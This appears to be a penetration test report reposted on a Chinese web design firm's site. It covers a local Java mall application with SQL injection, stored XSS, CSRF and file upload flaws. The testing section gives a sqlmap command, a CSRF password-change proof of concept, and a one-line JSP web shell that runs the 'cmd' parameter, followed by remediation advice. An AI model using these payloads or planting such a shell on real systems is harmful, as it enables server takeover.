尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

yzyg渗透测试报告

yzyg渗透测试报告 一.问题描述本系统存在 4 类安全漏洞SQL 注入漏洞、存储型 XSS 漏洞、CSRF 跨站请求伪造漏洞、任意文件上传漏洞。1. SQL 注入部分业务接口未对用户输入做过滤攻击者可构造恶意 SQL 语句读取、篡改数据库全部数据。2. 存储型 XSS系统未对用户输入做转义恶意脚本存入数据库页面加载直接执行造成 Cookie 窃取、页面篡改。3. CSRF关键业务接口仅依靠 Cookie 会话认证缺少 CSRF Token 校验可诱导受害者访问恶意页面篡改账号信息。4. 文件上传头像上传接口没有校验文件后缀与文件内容可上传恶意脚本文件严重时获取服务器权限。二.测试过程1.组件漏洞审计pom.xml中并未发现漏洞2.单点漏洞审计2.1sql注入全局搜索 mapper 目录所有 xml 文件搜索字符${发现风险点现在定位查找值在哪里发现这个select标签的id再次定位查找抓包实操证明sqlmap里测试跑一下cd D:\TOOS\sqlmap-master py sqlmap.py -u http://127.0.0.1:8010/mall/fore/product/index/list?orderByproduct_nameisDesctrue -p orderBy --batch --techniqueB2.2xss漏洞系统配置里没有对xss过滤测试一下啊2.3csrf漏洞登录攻击者账号zxc123进入页面尝试修改信息抓包生成poc我们先登陆这个admin账户我这里密码设置123456然后在这帐户重新去访问http://127.0.0.1:8010/csrf.html再次回来回来会发现密码已经被更改2.4文件上传漏洞头像可以上传抓包将图片修改为test.jsp内容修改为%Runtime.getRuntime().exec(request.getParameter(cmd));%三.修复建议SQL 注入修复建议1. 使用预编译语句PreparedStatement杜绝直接拼接 SQL 字符串。2. 对用户输入参数做严格过滤过滤单引号、and、or等 SQL 关键字。3. 最小权限原则配置数据库账号限制数据库账号权限。4. 关闭生产环境数据库报错回显避免泄露库名表名。XSS 漏洞修复建议1. 对 /等特殊字符做转义处理入库和页面输出双重过滤。2. 设置 Cookie 的HttpOnly属性防止 JS 读取 Cookie 会话。3. 部署 CSP 内容安全策略限制不可信脚本执行。CSRF 漏洞修复建议1. 关键接口增加 CSRF‑Token 校验请求携带随机 Token后端校验有效性。2. 校验 Origin、Referer 请求头拦截跨域请求。3. 设置 Cookie SameSite属性。4. 修改密码等高风险操作增加旧密码校验。文件上传漏洞修复建议1. 设置文件后缀白名单仅允许 png/jpg/gif 图片格式。2. 校验文件真实文件头不依赖前端 Content-Type。3. 文件由系统随机重命名丢弃用户原始文件名。4. 上传目录关闭脚本解析权限文件存放在 web 可访问目录之外。
返回列表